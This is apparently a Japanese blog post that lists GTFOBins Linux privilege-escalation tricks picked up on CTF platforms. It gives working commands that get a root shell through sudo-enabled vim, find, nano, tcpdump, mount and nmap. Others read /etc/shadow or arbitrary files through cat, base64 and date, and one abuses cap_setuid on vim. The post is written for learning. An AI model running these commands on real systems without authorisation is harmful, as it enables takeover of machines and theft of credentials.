GTFOBinsが面白い
ターゲットのシェルを奪取できたら一番何をしたいかというと root を奪取したい。 この権限昇格について TryHackMe や HackTheBox をやっているのだが、テクニックが多く難しい。 この文脈上で、設定ミスを利用するテクニック集GTFOBinsがあり、 印象深かったものをまとめておく。一目でやばそうなものもあれば、予想外のものもあり楽しい。
sudo 芸
奪取したユーザでsudo使えるかをsudo -lでみる。
そして、以下があったらそのマシンはオモチャにされる。
vim
sudoで使える状態だと、任意のファイルが読めるだけでなく、root がとれてしまう。
$ sudo vim -c ':!/bin/sh'
Vimmer なら、:!でコマンド実行できるの知っていると思うが、
使わない人はこの発想がでてこないと思う。
$ sudo vim
!/bin/sh
また、これでもよく、lessやmanなどに対しても有効。
find
なんと、findでも知る人ぞ知るオプションでとれる。
$ sudo find . -exec /bin/sh \; -quit
だいたい、-exec ls -l {};のように使われるが、シェル起動も当然できる。
find以外にもexecが使えるコマンドは少なくないが、それらにこのテクニックが使える可能性がる。
nano
vimは高機能、nanoならええやろと思うかもれないが、だめ。
ちなみにpicoも同様の手口でいける。
$ sudo nano
^R^X
reset; sh 1>&0 2>&0
ファイルの挿入(C-r)で、コマンド結果の挿入(C-x)ができてしまうため、シェルを起動できる。
tcpdump
これは実際にありそうな気がするけど、とられます。こわい。
$ COMMAND='id'
$ TF=$(mktemp)
$ echo "$COMMAND" > $TF
$ chmod +x $TF
$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
ただ、対策されていることもあるらしく、Ubuntu(WSL)では動かなかった。
mount
これもありそうな、自身を置き換えるケース。
$ sudo mount -o bind /bin/sh /bin/mount
$ sudo mount
-o bind というオプションで
/bin/shを/bin/mountとしてマウント(?)といったことができるらしい。(ln -sみたい)
そして、それを実行。元の/bin/mountはどこいった?となるが、
umountすると元の/bin/mountになるので厳密には置換ではないっぽい何か。
この辺の動きは謎につつまれているが、同じディレクトリに複数マウントして同一ファイル/ディレクトリがあったりする時の挙動と似てるように思う。
nmap
nmapも、お行儀の悪いパケット送るスキャンとかは root 必要だから、許可してるケースあるかも?
$ TF=$(mktemp)
$ echo 'os.execute("/bin/sh")' > $TF
$ sudo nmap --script=$TF
カスタムスクリプトを読めるのはだいたい同類。
cat
もちろんだめ。流石に root のシェルはとれないけど、任意のファイルを読める。
$ sudo cat /etc/shadow
base64
catでなくても、ファイル入力を変換して出力する類のものはだいたい工夫して読めてしまう。
エンコードして、デコードするとcat相当になって少し面白い。
$ LFILE=file_to_read
$ sudo base64 "$LFILE" | base64 --decode
date
え、date?と思うかもしれない。
$ LFILE=file_to_read
$ sudo date -f $LFILE
一見、無害な日付を出力するコマンドにみえるが、ファイル入力ができ、そこをつかれる。 不正フォーマットのエラー出力により、ファイルを読めてしまう。 コンフィグを読みこむようなコマンドはだいたい同類。
ケイパビリティ
分かりやすいsudoの例を挙げたが、権限昇格の手段はsudo以外にもある。
それで、今まで知らなかったのが、ケーパビリティという概念である。
ケーパビリティとは、小さな権限に分割した root 権限の集合のことであり、 セキュリティの問題で、root でプロセスを実行したくない。一方で、root 権限を利用したいという状況がある。 こういう場合に、プロセスにケーパビリティを設定することで、プロセスが root 権限の一部のみを行使することができる。
ちなみに既存のケーパビリティのチェックは、以下で可能。
$ getcap -r / 2> /dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
...
これらのケーパビリティの意味は以下。
- cap_net_bind_service: インターネットドメインの特権ポート (ポート番号が 1024 番未満) のバインド
- cap_net_admin: 各種のネットワーク関係の操作
- cap_net_raw: RAW ソケットと PACKET ソケットの使用、透過的プロキシでの任意のアドレスの割り当て (bind)
=epで e(effective)と p(permitted)というケーパビリティセットを設定しており、権限を使えるようにしている。
vim
UID を操作できるcap_setuid与えるとそりゃだめだよねというおはなし。
$ cp $(which vim) .
$ sudo setcap cap_setuid+ep vim
$ ./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
プロセスの UID に対する任意の操作を許すケーパビリティを設定。
そのプロセスで、pythonで「その権限を行使しプロセスの uid=0(root)に設定し、シェルを生やす」というスクリプトを実行している。
また、sudo setcapしているが、しなくても、既存のケーパビリティをチェックし、つけこめる設定があればそれを利用できる。